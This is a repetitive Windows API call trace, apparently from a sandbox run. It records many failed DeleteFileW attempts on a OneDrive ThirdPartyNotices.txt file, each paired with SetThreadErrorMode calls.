[0197.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.216] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.219] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.222] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.226] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.229] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.232] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.236] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.241] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.244] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.248] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.251] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.259] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.262] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.266] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.269] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.273] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.276] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.277] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.279] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.280] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.281] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.282] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.283] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.285] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.286] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.287] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.288] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.290] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.291] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.292] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.293] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.294] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.295] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.296] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.298] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.299] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.300] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.302] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.303] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.304] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.305] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.306] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.307] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.308] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.310] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.311] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.312] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.313] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.314] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.315] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.316] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.318] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.319] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.320] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.321] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.322] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.323] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.324] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.324] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.325] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.326] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.326] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.327] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.328] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 